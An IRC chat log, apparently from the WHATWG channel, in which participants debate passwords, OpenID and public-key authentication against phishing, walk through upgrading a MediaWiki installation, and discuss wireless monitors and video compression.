Dashiva, what?

[11:03:01.0000] <AryehGregor>
("what?" is responding to that last line)

[11:03:02.0000] <Dashiva>
I.e. eople will want different keys for different kinds of activities

[11:03:03.0000] <Dashiva>
*people

[11:04:00.0000] <gsnedders>
AryehGregor: Dashiva makes his living through pr0n

[11:04:01.0000] <AryehGregor>
So have the device store thousands of keys.  Let the negotiation protocol ask it "what's your public key for <unique stable site id>"?

[11:04:02.0000] <TabAtkins>
AryehGregor: one of the benefits of openid - you get the single-password login, but without the possibility of a malicious server-owner remembering your info.

[11:04:03.0000] <Philip`>
AryehGregor: As far as I'm aware, nobody running a site has ever stolen my password, so I have no reason to be concerned about that

[11:04:04.0000] <Dashiva>
TabAtkins: Yeah, you just get a massive phishing opportunity instead

[11:04:05.0000] <AryehGregor>
TabAtkins, yes.  That slightly improves one small aspect of the problem.

[11:04:06.0000] <AryehGregor>
Philip`, I've seen it happen.  It's pretty trivial.

[11:04:07.0000] <TabAtkins>
Dashiva: Eh, phishing is always going to be a problem forever.

[11:05:00.0000] <Philip`>
(Actually I don't really have only one password, I have half a dozen and I type them all into every login form until I guess the right one)

[11:05:01.0000] <Dashiva>
TabAtkins: OpenID makes it easier, though

[11:05:02.0000] <AryehGregor>
Philip`, a guy lured the moderator of a big forum to sign up to his site, logged in to the forum, and caused havoc.

[11:05:03.0000] <TabAtkins>
Dashiva: Depends.  It's easy to personalize the openid page so it's harder to duplicate and thus phish.

[11:06:00.0000] <TabAtkins>
For example, my bank site shows me a picture and phrase that I chose so I know that someone else isn't impersonating them.

[11:06:01.0000] <Dashiva>
TabAtkins: And it's easy to say "We are currently performing maintenance, your personalized data will be back soon. Please use thois temporary form instead."

[11:06:02.0000] <AryehGregor>
The only way to stop automated theft of authentication is to make authentication impossible to steal automatically.

[11:06:03.0000] <AryehGregor>
Some places do this in weak ways like having a widget that displays pseudorandom numbers that change every minute.

[11:06:04.0000] <Dashiva>
Or just MITM the whole process

[11:06:05.0000] <TabAtkins>
Dashiva: At that point, aren't we in the same situation with individual logins?

[11:07:00.0000] <Dashiva>
TabAtkins: Sure, but with OpenID you steal all logins in one fell swoop

[11:07:01.0000] <TabAtkins>
Considering the password security of the average person, I'm not sure that's much of a difference.

[11:07:02.0000] <AryehGregor>
PKA really is the answer here.  For all authentication.

[11:07:03.0000] <Dashiva>
Not much, but it's a step in the wrong direction

[11:07:04.0000] <AryehGregor>
It's more secure than physical keys and so on as well.

[11:08:00.0000] <AryehGregor>
Dashiva, you don't get security by giving up on the issue and just avoiding single points of failure.  You get security by making sure there's only one point of failure, and it's *strong*.

[11:08:01.0000] <Dashiva>
AryehGregor: Who said anything about giving up?

[11:08:02.0000] <AryehGregor>
Well, so what's your proposed solution?

[11:09:00.0000] <Dashiva>
Get people to use password managers

[11:09:01.0000] <TabAtkins>
Even considering the phishing possibilities, I consider the strengths of having a single password that you can make strong and use everywhere to be significant enough to be worthwhile.

[11:09:02.0000] <AryehGregor>
Dashiva, and if you're using a public computer?

[11:09:03.0000] <Dashiva>
Strong passwords are overrated, even a medium strength password is more than enough

[11:09:04.0000] <TabAtkins>
Dashiva: a password manager-based solution is effectively identical to PKA

[11:10:00.0000] <AryehGregor>
TabAtkins, strength of the password doesn't help much.  It can be pretty weak and still infeasible to crack.

[11:10:01.0000] <Dashiva>
TabAtkins: No, it saves you from carrying around a thing and storing things in vaults

[11:10:02.0000] <AryehGregor>
TabAtkins, no, it's markedly inferior.

[11:10:03.0000] <AryehGregor>
Dashiva, a weaker PKA scheme would just keep the key on your computer.

[11:10:04.0000] <AryehGregor>
Pretty much identical to a password manager, but secure against replay attacks and so on.

[11:10:05.0000] <Dashiva>
Security against replay attacks is unrelated

[11:11:00.0000] <TabAtkins>
Dashiva: I'm not sure how it's different.  Either way you have an identifier that you don't remember, and instead store elsewhere.

[11:11:01.0000] <Dashiva>
If you change the auth procedure to support PKA you can also change it to use passwords with nonces etc

[11:11:02.0000] <AryehGregor>
Both of those schemes are useless if you're using an untrusted computer, or not using a computer at all, or your computer gets hacked.

[11:11:03.0000] <TabAtkins>
All schemes are useless if you get hacked, of course.

[11:11:04.0000] <AryehGregor>
Dashiva, yeah, okay, granted.  They're fairly comparable in that respect, I guess.

[11:11:05.0000] <AryehGregor>
TabAtkins, nope.

[11:11:06.0000] <AryehGregor>
Not my proposal.

[11:11:07.0000] <AryehGregor>
Since your own computer wouldn't know your private key.

[11:11:08.0000] <Dashiva>
TabAtkins: It's easier to press "enter my password" in the browser than to fiddle with a thing

[11:12:00.0000] <AryehGregor>
I don't think having private keys on your computer is much more useful than a password manager that autogenerates strong passwords.

[11:12:01.0000] <TabAtkins>
Unless your fob stores the identifying keys from your programs as well, a trojan can mitm the program you're trying to log into.

[11:12:02.0000] <Dashiva>
Imagine how much better off we would be if domains weren't backwards

[11:12:03.0000] <TabAtkins>
That would be nice, yeah.

[11:12:04.0000] <AryehGregor>
TabAtkins, and get what from it?  Nothing.  You don't hand out any reusable info when using PKA.

[11:13:00.0000] <AryehGregor>
It's all one-shot.

[11:13:01.0000] <Lachy>
The problem with password manager based solutions is that if you use lots of random passwords on the basis that you don't have to remember them all, you're reliant on your ability to always have the password manager available and never lose it

[11:13:02.0000] <TabAtkins>
No more www.yourbank.com.shadyrussiansite.com.

[11:13:03.0000] <AryehGregor>
Dashiva, MediaWiki's externallinks table has a whole extra column with the URL having domain name reversed, so as to allow efficient prefix-based lookups.

[11:14:00.0000] <Dashiva>
Lachy: This is of course true, but then you can always have a USB pin with the password manager, as a minor tribute to PKA ;)

[11:14:01.0000] <TabAtkins>
PortableApps!

[11:14:02.0000] <AryehGregor>
Lachy, yes.  In that way, having a small physical object is actually more convenient.  Keep it in your wallet.

[11:14:03.0000] <Lachy>
also, password managers (especially Firefox's) store passwords unencrypted, so if the password file is compromised, everything is

[11:14:04.0000] <AryehGregor>
It's also much more secure.

[11:14:05.0000] <AryehGregor>
Lachy, Firefox has a master password option, which I assume encrypts the stored passwords, no?

[11:14:06.0000] <Lachy>
1Password and Safari use OSX's keychain, which is a little more secure

[11:15:00.0000] <Lachy>
AryehGregor, yes, but at the expense of invonvenience of having to enter it all the time, negating the major benefit of a password manager

[11:15:01.0000] <Lachy>
*inconvenience

[11:15:02.0000] <AryehGregor>
Well, you only have to remember one password.

[11:16:00.0000] <AryehGregor>
The keychain improves things how?

[11:16:01.0000] <Lachy>
the keychain stores passwords in encrypted form.  Gaining access to the computer doesn't let anyone read the passwords without knowing the user's system login password

[11:17:00.0000] <Lachy>
although, once the password manager fills in the form on a page to login, it still remains possible to intercept the password at that point

[11:18:00.0000] <AryehGregor>
Ah, so it decrypts them using the login info.

[11:18:01.0000] <Dashiva>
The next solution would be minification so that the USB thing becomes an entire computer, you just attach it to a monitor, network and input devices

[11:19:00.0000] <AryehGregor>
You could get the same benefit using home-directory encryption, which has lots of other nice benefits if an attacker gets hold of your computer.  Or even full-disk encryption.  Although those tend to have some performance overhead.

[11:19:01.0000] <AryehGregor>
Dashiva, no.  You want to keep your sensitive data in a device that's as simple to secure as possible.  It should be impossible to run arbitrary code on it.

[11:19:02.0000] <TabAtkins>
I don't notice too much problems with full-disk encryption, luckily.  Large file transfers take a bit longer, but for normal use it's most unnoticeable.

[11:19:03.0000] <AryehGregor>
Everything should be unchangeable down to the firmware.

[11:20:00.0000] <Dashiva>
AryehGregor: You could have that device as part of it

[11:20:01.0000] <AryehGregor>
TabAtkins, depends on your CPU, I guess.  Netbooks will likely notice a difference.

[11:20:02.0000] <TabAtkins>
Yeah, probably.

[11:20:03.0000] <AryehGregor>
Dashiva, if you can compress your whole computer enough to fit in your wallet, sure . . .

[11:20:04.0000] <Lachy>
OpenID can be secure if the user is careful to never reveal their openID password by using it on any other site, and if they trust their open id provider and if they are resistant to phishing attacks

[11:20:05.0000] <TabAtkins>
Lachy: Yeah, phishing is the major weakness.

[11:21:00.0000] <Dashiva>
AryehGregor: It's about as likely as users becoming resistant to phishing attacks ;)

[11:21:01.0000] <Philip`>
Can't the OpenID provider just use something better than passwords?

[11:21:02.0000] <Philip`>
(like PKA or whatever)

[11:21:03.0000] <TabAtkins>
Philip` sure.

[11:21:04.0000] <Philip`>
so the main benefit is you can choose a more secure login method without requiring a zillion sites to independently support it

[11:21:05.0000] <Lachy>
I want to set up and run my own personal openid server, which would mean that I can control the login and make it as secure as possible, while being virtually invulnerable to phishing attacks

[11:21:06.0000] <TabAtkins>
You can authenticate however you feel like.  Which is one of the nice things about it - you don't need to rely on the website to be secure.

[11:21:07.0000] <AryehGregor>
Dashiva, PKA is immune to phishing in the sense of being able to steal someone's login info.

[11:22:00.0000] <TabAtkins>
Lachy: if you have PHP, there's a really simple two-file server that takes all of 5 minutes to get running.

[11:22:01.0000] <Dashiva>
"We are upgrading your device. Please send it to us, together with the password" 

[11:22:02.0000] <Lachy>
TabAtkins, yeah, I found some on openidenabled.com that I will look into

[11:22:03.0000] <Lachy>
is that the one you're referring to?

[11:23:00.0000] <TabAtkins>
Hmm, dunno.  I use http://siege.org/projects/phpMyID/

[11:24:00.0000] <AryehGregor>
Dashiva, "We are upgrading your bank account.  Please send us your debit card, together with the PIN."

[11:25:00.0000] <AryehGregor>
How often do you think that works?

[11:25:01.0000] <AryehGregor>
There's practically no reason to have *any* authentication other than PKA.

[11:25:02.0000] <Dashiva>
AryehGregor: A card is just a card. We're talking about a computer in your pocket

[11:25:03.0000] <AryehGregor>
People's house keys should be replaced with the same PKA.

[11:25:04.0000] <AryehGregor>
What difference does that make to phishers?

[11:26:00.0000] <AryehGregor>
"We are upgrading your computer.  Please send your laptop to us."

[11:26:01.0000] <AryehGregor>
Not much more plausible, is it.

[11:26:02.0000] <AryehGregor>
The reason people don't protect their passwords is because they're so used to giving them out to anyone who asks.

[11:27:00.0000] <Dashiva>
AryehGregor: Well, wordpress has a system where you send them your ftp auth and they login and upgrade your installation

[11:27:01.0000] <Lachy>
Dashiva, what the?

[11:28:00.0000] <Lachy>
Why is that necessary. Recent releases of WordPress support automatic upgrading from within the Dashboard

[11:28:01.0000] <jgraham>
Speaking of which, did we upgrade to the leatest wordpress?

[11:28:02.0000] <AryehGregor>
Dashiva, yeah, but . . . you can't read your private keys off the device either.  You *can't* give them to someone over the Internet.

[11:28:03.0000] <jgraham>
*latest

[11:28:04.0000] <Lachy>
jgraham, yes

[11:28:05.0000] <AryehGregor>
A complete scheme would require some delegation infrastructure.

[11:28:06.0000] <AryehGregor>
But the authenticator could always refuse to accept the delegation.

[11:29:00.0000] <jgraham>
Lachy: Oh good. Now aall we need is a plan to migrate to a less insecure system

[11:29:01.0000] <Lachy>
jgraham, but one thing I should upgrade is out mediawiki installation. I haven't done that in a while

[11:29:02.0000] <AryehGregor>
Comparable attacks would always be possible if people are dedicated enough, obviously.

[11:29:03.0000] <Dashiva>
AryehGregor: No, but it's a complicated device. People are liable to believe all kinds of things when they don't understand the subject.

[11:29:04.0000] <AryehGregor>
Dashiva, the reason people give out their passwords all the time is because that's what you're *supposed* to do with passwords.

[11:30:00.0000] <AryehGregor>
The way password authentication works is that to authenticate, you give someone else all the info they'd need to impersonate you.

[11:30:01.0000] <AryehGregor>
That's the problem here.

[11:30:02.0000] <Lachy>
btw, did someone go through all the registerred users in the whatwg blog and delete all the spammer accounts? When I looked today, there were only about 30 accounts of relatively trusted people

[11:30:03.0000] <AryehGregor>
People aren't inclined to give out sensitive info per se.  They're only inclined to give out info that they reasonably expect someone else should have reason to want.

[11:31:00.0000] <Dashiva>
...

[11:31:01.0000] <AryehGregor>
Phishers don't get people to give them their car keys.

[11:31:02.0000] <AryehGregor>
In fact, phishing doesn't really work at all in IRL.  Only digitally.

[11:31:03.0000] <AryehGregor>
And you can't give out the device in question digitally.  It's a physical device.

[11:31:04.0000] <Dashiva>
Oh, so social engineering doesn't exist?

[11:31:05.0000] <AryehGregor>
Lachy, whoa, you're at 1.11.

[11:32:00.0000] <Lachy>
AryehGregor, set up a fake valet service in a car park, in an area where valets are common, and see how many people hand over their keys!

[11:32:01.0000] <Dashiva>
Night drop scams should be a great example of how people are trusting even with very important stuff

[11:32:02.0000] <Lachy>
AryehGregor, yeah, I know. I must upgrade that

[11:32:03.0000] <AryehGregor>
Lachy, possible, I'm sure.  Widespread problem?  No.

[11:32:04.0000] <TabAtkins>
/me belatedly realizes that he should have been testing all these functions as he wrote them.  Damn this asynchronous write-save-minimize-transfer-browser-refresh cycle.

[11:32:05.0000] <AryehGregor>
Doing anything IRL is a lot riskier, and harder to scale.

[11:33:00.0000] <AryehGregor>
Set up a website and you can easily get thousands of hits for little effort, and be close to untraceable.

[11:33:01.0000] <AryehGregor>
In real life?  Very risky.  What if one guy the whole day gets suspicious and tells someone?

[11:33:02.0000] <Lachy>
AryehGregor, that's because stealing a car and getting away with it isn't as easy as stealing a login by phishing over the internet, and remaining completely anonymous

[11:33:03.0000] <AryehGregor>
Precisely.

[11:33:04.0000] <AryehGregor>
Stealing physical objects is much harder.

[11:34:00.0000] <AryehGregor>
Stealing a physical object plus the password needed to unlock it, still harder.

[11:34:01.0000] <AryehGregor>
Impossible?  Hardly.  But much harder.

[11:34:02.0000] <AryehGregor>
PKA schemes normally have provision for revocation too, remember.

[11:34:03.0000] <AryehGregor>
Unlike password schemes.

[11:34:04.0000] <TabAtkins>
AryehGregor: So write up an openid server that uses PKA.  ^_^

[11:34:05.0000] <TabAtkins>
Best of all worlds.

[11:34:06.0000] <AryehGregor>
TabAtkins, you don't get the advantage of my scheme without a real infrastructure.

[11:35:00.0000] <AryehGregor>
With support by all OSes, browsers, and so forth.

[11:35:01.0000] <AryehGregor>
It's hard to see how to do it incrementally while retaining the benefits.

[11:35:02.0000] <AryehGregor>
I guess you could replace existing PKA systems, for SSH and so on, pretty easily.

[11:35:03.0000] <AryehGregor>
But that's really niche.

[11:35:04.0000] <jgraham>
TabAtkins: Yeah the development loop for browser stuff still really sucks doesn't it...

[11:35:05.0000] <TabAtkins>
I don't see why not.  You don't get as *comprehensive* of a scheme, but using PKA as a secure way of establishing identity without actually compromising your identity should be fine.

[11:36:00.0000] <AryehGregor>
TabAtkins, it would hardly be an improvement over password managers if the private keys remained on your computer.

[11:37:00.0000] <TabAtkins>
I'm much less concerned about your computer being compromised, precisely because it *does* require a very complete idea of security and will be defeated anyway by the first idiot that sticks an untrusted usb in his computer, and also because it's simply less common.

[11:37:01.0000] <TabAtkins>
But you could certainly also use a usb-mounted program which communicates with the openid page.

[11:38:00.0000] <AryehGregor>
Sure.  But in that case, you may as well just use a password manager.

[11:38:01.0000] <AryehGregor>
Over HTTPS, of course.

[11:38:02.0000] <AryehGregor>
The advantages of PKA in that case would be marginal.

[11:39:00.0000] <TabAtkins>
jgraham: it would be a lot better if I were developing on a linux box with apache on it.  I don't want to even *try* putting php on windows again.

[11:39:01.0000] <AryehGregor>
I had a perfectly good WAMP setup.

[11:40:00.0000] <AryehGregor>
You just need to get one of the prepackaged things.

[11:40:01.0000] <AryehGregor>
You know, something that installs the AMP part together.

[11:40:02.0000] <TabAtkins>
Any idea where I can find a good one?

[11:41:00.0000] <AryehGregor>
Just Google it.  It's been a while since I've had to use Windows for much of anything, thankfully.

[11:41:01.0000] <AryehGregor>
XAMPP is widely used, I think.

[11:42:00.0000] <TabAtkins>
Yeah, one of my friends set up XAMPP.  Maybe I'll try it again today.

[11:43:00.0000] <TabAtkins>
When I build another desktop box for myself in a few months, I'll run Windows on that for gaming purposes and then wipe this laptop and load it with ubuntu again.

[11:43:01.0000] <TabAtkins>
Well, I'll probably dualboot the desktop.

[11:44:00.0000] <AryehGregor>
(Actually, I used Windows for gaming as of fairly recently.  Now I've finished Bioshock and started playing Baldur's Gate II, so Linux works fine.)

[11:44:01.0000] <AryehGregor>
(Without having to load any wretched binary video drivers.)

[11:44:02.0000] <TabAtkins>
/me wonders if it would be possible to make his monitors wireless.

[11:45:00.0000] <TabAtkins>
Ah, excellent.  Looks like tools to do so have started popping up in the relative mainstream since last year.

[11:52:00.0000] <AryehGregor>
You'd still need power, surely.

[11:55:00.0000] <TabAtkins>
Yes, of course.  That's not a problem.

[11:56:00.0000] <TabAtkins>
But my vision for the desktop box is to go with an open design, and actually build it onto a shelf.

[11:56:01.0000] <TabAtkins>
And I'd prefer not to have wires running from my monitors to the shelf.

[11:57:00.0000] <Lachy>
AryehGregor, this mediawiki upgrade procedure isn't very clear

[11:57:01.0000] <Lachy>
I'm reading http://www.mediawiki.org/wiki/Manual:Upgrading

[11:58:00.0000] <Lachy>
I ran the tar command with the --strip-path=1 parameter, and it seemed to do the extraction. Though I'm not sure which files it actually replaced and which files it kept unchanged.

[11:58:01.0000] <Lachy>
though AdminSettings.php was not overwritten

[11:58:02.0000] <AryehGregor>
Lachy, AdminSettings.php and LocalSettings.php shouldn't be overwritten.

[11:58:03.0000] <AryehGregor>
You just need to unpack it and run maintenance/update.php.

[11:59:00.0000] <AryehGregor>
It would be a good idea to upgrade extensions at the same time.

[11:59:01.0000] <Lachy>
oh, I didn't see where that page said update.php was in the maintenance directory

[12:00:00.0000] <AryehGregor>
Most of the docs on mediawiki.org are half-nonsense.  Stupid wikis.

[12:00:01.0000] <Lachy>
oh damn. I need Hixie to switch wiki.whatwg.org to use PHP5

[12:00:02.0000] <AryehGregor>
The file UPGRADE in the tarball is probably more useful and accurate.

[12:00:03.0000] <AryehGregor>
Er, 1.11 doesn't run on PHP 5 either.

[12:00:04.0000] <Lachy>
hmm, the php command used php4. Maybe there's a separate command to run php5

[12:00:05.0000] <AryehGregor>
If php maintenance/upgrade.php fails, try php5 maintenance/upgrade.php.

[12:01:00.0000] <Lachy>
there is no php5 command

[12:01:01.0000] <AryehGregor>
Well, it's got to be installed somewhere, since the wiki currently works.

[12:02:00.0000] <AryehGregor>
What distro is this?  I assume it's Linux.

[12:02:01.0000] <AryehGregor>
And what version of the distro.

[12:03:00.0000] <Lachy>
I don't know. It's Dreamhost.

[12:03:01.0000] <AryehGregor>
Try creating a file named phpinfo.php with the contents "<?php phpinfo();" and viewing it to get some info on where the executable is coming from for the website.

[12:03:02.0000] <AryehGregor>
Oh.

[12:03:03.0000] <AryehGregor>
Hmm.

[12:04:00.0000] <AryehGregor>
Apparently you need to do: /usr/local/php5/bin/php maintenance/upgrade.php

[12:05:00.0000] <Lachy>
AryehGregor, http://wiki.whatwg.org/phpinfo.php

[12:05:01.0000] <AryehGregor>
Well, that doesn't give me the info I wanted, but I found it on Google anyway, so try what I just said.

[12:06:00.0000] <Lachy>
upgrading with that command

[12:07:00.0000] <Lachy>
http://wiki.whatwg.org/wiki/Special:Version now says 1.15.1

[12:07:01.0000] <AryehGregor>
You're probably fine, then.

[12:08:00.0000] <AryehGregor>
Doubtless there are some useless files hanging around, but that doesn't really matter.

[12:09:00.0000] <Lachy>
what useless files?

[12:09:01.0000] <Lachy>
like files from the old version that are no longer needed in the new version?

[12:09:02.0000] <AryehGregor>
Things that were moved around.

[12:09:03.0000] <AryehGregor>
Or removed.

[12:09:04.0000] <AryehGregor>
Yeah.

[12:10:00.0000] <Lachy>
ok

[12:10:01.0000] <AryehGregor>
Like we made a bunch of subdirectories in includes/ and moved tons of stuff there.

[12:10:02.0000] <AryehGregor>
It doesn't really matter, they don't hurt anything.

[12:10:03.0000] <Lachy>
if I wanted to to a fresh installation next time, does it just require extracting to a new directory, copying AdminSettings.php, LocalSettings.php and .htaccess across and running the update script the same way?

[12:11:00.0000] <AryehGregor>
A fresh installation with the same database?

[12:11:01.0000] <Lachy>
yeah

[12:11:02.0000] <AryehGregor>
That should work in theory, yes, but LocalSettings.php does contain some paths that might need to be changed.

[12:11:03.0000] <TabAtkins>
Aw man, rock on.  The big problem was just that I was passing invalid json to json_decode.  Now my parser works great.

[12:11:04.0000] <AryehGregor>
MediaWiki developers tend to just use SVN for all our wikis, so it does the deletion for us.  :P

[12:12:00.0000] <TabAtkins>
<3 svn

[12:12:01.0000] <Lachy>
AryehGregor, how about I just give you shell access to wiki.whatwg.org and you can handle the wiki upgrades for us?

[12:12:02.0000] <AryehGregor>
MediaWiki is weird because we don't mostly develop it for the sake of releasing it.  It's mainly for Wikipedia.

[12:12:03.0000] <AryehGregor>
So niceties like a usable, well-documented upgrade procedure tend to go by the wayside.

[12:13:00.0000] <AryehGregor>
Wikipedia doesn't even use the update script, it would kill the site for hours.  Schema updates get applied manually.

[12:13:01.0000] <AryehGregor>
Lachy, could do.  I could upgrade it to a 1.16alpha version that uses HTML 5, in fact.  :)  But the problem is, I don't know right now if I'll have the time as of a few days from now.  So I don't want to commit to anything.

[12:13:02.0000] <Lachy>
does the update script make changes to the database structure?

[12:14:00.0000] <AryehGregor>
Feel free to ask again in a week or two.

[12:14:01.0000] <AryehGregor>
Yes, that's basically all it does.

[12:14:02.0000] <AryehGregor>
Well, it also populates things with defaults sometimes, and various other stuff.

[12:14:03.0000] <AryehGregor>
But most of it is schema changes.

[12:15:00.0000] <Lachy>
AryehGregor, no need to commit to anything immediately. But if you send me an SSH public key, I can add it and you can login using: ssh whatwikiuser⊙wo

[12:16:00.0000] <AryehGregor>
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAgP8oDfL75zl8aiMA7nmSjhHIqM2MZQ5MmGbRxfRiaaWw9nYjz+sQJ6qntJ+BimNm+lq+ggOK5pxQQ+KD4HwvDJTkGuMIvk4+VjwGHkZdgLiNfl/dTQQD9XNEfq6ilwy/tSn/ka6uNKZaMOjk8z+AVNE/Z71naTUe7E4JRAaz6WM=

[12:20:00.0000] <Lachy>
AryehGregor, should work now

[12:21:00.0000] <AryehGregor>
Works.

[12:21:01.0000] <Philip`>
TabAtkins: Low-res monitor might be 1280x800, 24-bit, 60Hz, which is two gigabits per second

[12:21:02.0000] <Philip`>
I'd quite like a two gigabit wireless network, but it doesn't seem like near-future technology :-(

[12:22:00.0000] <TabAtkins>
That's assuming no compression, Philip`.

[12:23:00.0000] <Philip`>
TabAtkins: I expect it'd be hard to compress without introducing unacceptable latency

[12:23:01.0000] <TabAtkins>
Apparently it's okay.  They produced tech demos last year that seemed to be okay with very low latency.

[12:23:02.0000] <AryehGregor>
For a 60 Hz screen?

[12:24:00.0000] <TabAtkins>
It appeared to be a pretty standard LCD, so I would assume so.

[12:24:01.0000] <AryehGregor>
You can compress a screenful in less than 17 ms, surely.

[12:24:02.0000] <TabAtkins>
The engadget report quoted them as saying that the only weakness is trying to use them while doing high-end gaming, as the game chews up too much cpu to let the compression run smoothly.

[12:24:03.0000] <AryehGregor>
But you can't rely on lossless compression.  If the output is too hard to compress, you're going to introduce stuttering.

[12:24:04.0000] <AryehGregor>
Unless you want lossy compression for your monitor.

[12:25:00.0000] <AryehGregor>
Games won't have good lossless compression at all.

[12:25:01.0000] <AryehGregor>
Unless they're, like, Tetris.

[12:25:02.0000] <Philip`>
Lossless compression of video doesn't really exist, unless you're happy with something like a 2:1 compression ratio

[12:25:03.0000] <TabAtkins>
Depending on the level of lossiness and the application, I'd be okay with that.

[12:25:04.0000] <TabAtkins>
Best is if it could identify when I start running into compression issues and switch between lossless and lossy.

[12:26:00.0000] <Philip`>
If you have the bandwidth for lossless, why wouldn't you always use it?

[12:26:01.0000] <Philip`>
(and if you don't have the bandwidth, you can't use the option anyway)

[12:26:02.0000] <TabAtkins>
If I had the bandwidth, of course I would.

[12:27:00.0000] <AryehGregor>
Lossy compression tends to seriously mess up normal text.  At least JPEG does.

[12:27:01.0000] <AryehGregor>
It becomes blurry.

[12:28:00.0000] <TabAtkins>
Yeah, but if I'm viewing text I'm almost certainly doing something that will compress well losslessly.

[12:29:00.0000] <TabAtkins>
JPEG isn't a good example of lossy compression on text, though.  It's specifically designed to work well on natural photographs.

[12:29:01.0000] <TabAtkins>
PNG compresses text relatively well.

[12:29:02.0000] <Philip`>
PNG isn't a good example of lossy compression on text, or on anything else

[12:30:00.0000] <TabAtkins>
Oh, but hum.  Is PNG lossless?

[12:30:01.0000] <Philip`>
Yes

[12:30:02.0000] <TabAtkins>
Never mind, then.  ^_^  But I am vindicated anyway!  Text can be losslessly compressed pretty well.

[12:30:03.0000] <AryehGregor>
Very well, yes.

[12:31:00.0000] <AryehGregor>
Especially if you don't antialias or such, I guess.

[12:31:01.0000] <TabAtkins>
Yeah, that would make it even better, but still.  a screen of text is still *mostly* just the background color.

[12:32:00.0000] <TabAtkins>
Also: Phase 1 of my radial-gradient() parser is complete.  Now I begin the transformer that will take the parsed values and figure out the parameters I need for generating an image.

[12:32:01.0000] <Philip`>
What do you do when the user views a PDF brochure with text on some swishy fading photo background?

[12:33:00.0000] <Philip`>
(It's no good having a monitor that only works for easy cases, and turns into unreadable mush once a month when you do something unusual)

[12:34:00.0000] <TabAtkins>
I dunno.  I'm not a wireless-monitor manufacturer.  But at least one company is apparently confident they can do it.

[12:34:01.0000] <Philip`>
You mean, one company's PR department is confident they can do it?

[12:35:00.0000] <TabAtkins>
Though it looks like I'll have to use normal monitors for now anyway, as I don't think there will be anything in my price range by November.

[12:35:01.0000] <Philip`>
Why do you want a wireless monitor anyway?

[12:35:02.0000] <Philip`>
The easier solution is to wire a computer to it, then use a wireless mouse and keyboard, and you get exactly the same effect

[12:36:00.0000] <TabAtkins>
Because I want a computer mounted on a shelf.

[12:36:01.0000] <Philip`>
You could mount a computer on a shelf, and then have another one hidden away somewhere wired to a monitor and use that one instead

[12:36:02.0000] <TabAtkins>
Though I am open to possible other suggestions that still express a steampunk motif.

[12:37:00.0000] <TabAtkins>
That's just silly, Philip`.

[12:37:01.0000] <Philip`>
You'll get the same external effect

[12:37:02.0000] <TabAtkins>
Doesn't matter.  It's not cool to say "Yeah, that thing on the wall behind me is just for show.  I *really* use this perfectly ordinary box under here."

[12:37:03.0000] <Philip`>
So don't say that

[12:38:00.0000] <Philip`>
Just lie

[12:38:01.0000] <TabAtkins>
I prefer not to lie?  Especially for no reason?

[12:38:02.0000] <Philip`>
Or you could run a monitor cable through the walls to the monitor

[12:38:03.0000] <TabAtkins>
Instead I'll just run monitor cables to the shelf for now.  Wireless later.

[12:39:00.0000] <Philip`>
Lying for no reason is much more honest than lying for a dishonest reason

[12:39:01.0000] <TabAtkins>
But much *less* honest than not lying at all.

[12:39:02.0000] <TabAtkins>
Also: it sorta makes you a sociopath.

[12:39:03.0000] <Philip`>
Is that a bad thing?

[12:40:00.0000] <Philip`>
I saw a TV series about a sociopath and he seemed a nice enough guy

[12:40:01.0000] <AryehGregor>
Hmm, I guess PNG would be very suboptimal here.  You'd want to do delta compression of some kind.

[12:40:02.0000] <TabAtkins>
Except for the sociopathy, sure.

[12:40:03.0000] <AryehGregor>
That would handle swirly PDFs just fine, losslessly.

[12:40:04.0000] <Philip`>
Well, yes, except for the murders and so on

[12:41:00.0000] <TabAtkins>
To be fair, very few sociopaths are murderers.

[12:41:01.0000] <TabAtkins>
Most of them are executives.

[12:41:02.0000] <TabAtkins>
But I'm not really interested in being an executive either.

[12:41:03.0000] <AryehGregor>
Sociopaths aren't nice.  By definition, they don't really care about other people.

[12:41:04.0000] <AryehGregor>
But you *are* interested in being a murderer?

[12:41:05.0000] <TabAtkins>
AryehGregor: They can learn to fake it, and be relatively normal.

[12:42:00.0000] <Philip`>
AryehGregor: It's fine until you alt-tab in your fancy windowing system and it fades out the screen in a way that the delta compressor can't recognise and suddenly everything slows to a crawl

[12:42:01.0000] <AryehGregor>
Philip`, for one or two frames, yeah.

[12:42:02.0000] <TabAtkins>
No, the "either" at the end implies that neither are acceptable.

[12:42:03.0000] <Philip`>
AryehGregor: It might be a really slow fade

[12:42:04.0000] <AryehGregor>
I dunno, are there 2 Gbps wireless cards over sufficiently short range?

[12:42:05.0000] <AryehGregor>
TabAtkins, oh, okay.  Just checking.

[12:42:06.0000] <Philip`>
AryehGregor: and the monitor compression would destroy it and the user would be sad and might murder somebody

[12:43:00.0000] <AryehGregor>
Or become an executive.

[12:43:01.0000] <TabAtkins>
I'll take that risk, Philip`.

[12:43:02.0000] <TabAtkins>
The real blame here is the windowing system, anyway.

[12:43:03.0000] <Philip`>
AryehGregor: BlueTooth can do 3 Mbps, which probably isn't quite enough

[12:43:04.0000] <Philip`>
*Bluetooth

[12:43:05.0000] <TabAtkins>
Command-line should be enough for anybody.

[12:43:06.0000] <AryehGregor>
But that's not so short-range, is it?

[12:44:00.0000] <Philip`>
AryehGregor: 802.11n can apparently do~150Mbps

[12:44:01.0000] <TabAtkins>
2Gbps is only needed if you do no compression at all anyway.

[12:44:02.0000] <AryehGregor>
TabAtkins, yes, but the monitor still has to work with pixels.  So when you go to the next level in NetHack, you might notice a delay as it has to redraw the whole screen.

[12:44:03.0000] <AryehGregor>
TabAtkins, there will always be some cases where you can get zero compression, for any compression algorithm.

[12:44:04.0000] <Philip`>
AryehGregor: What do you consider "short"? Bluetooth seems to be measured in meters, so you can't get much shorter if you want to cross a room

[12:45:00.0000] <TabAtkins>
AryehGregor, well of course.  That's a pretty natural consequence.

[12:45:01.0000] <TabAtkins>
(In fact, *most* cases produce zero compression for any given algorithm.)

[12:45:02.0000] <jgraham>
FWIW I have seen people demo monitors-over-ethernet

[12:46:00.0000] <TabAtkins>
The company I was looking at does monitors over usb2

[12:46:01.0000] <jgraham>
I don't recall what they shows but they claimed that it worked well enough for computer games

[12:46:02.0000] <jgraham>
TabAtkins: url?

[12:46:03.0000] <Philip`>
AryehGregor: Do you mean "for any *lossless* compression algorithm"? (which isn't what you ever want for video)

[12:46:04.0000] <AryehGregor>
Yes, obviously.

[12:46:05.0000] <TabAtkins>
http://www.engadget.com/2007/01/15/displaylink-cuts-your-monitors-cord-utilizes-wireless-usb/

[12:47:00.0000] <AryehGregor>
And you do want lossless compression for some video.

[12:47:01.0000] <TabAtkins>
DisplayLink is the company.  They don't have a wireless product for sale yet, though.

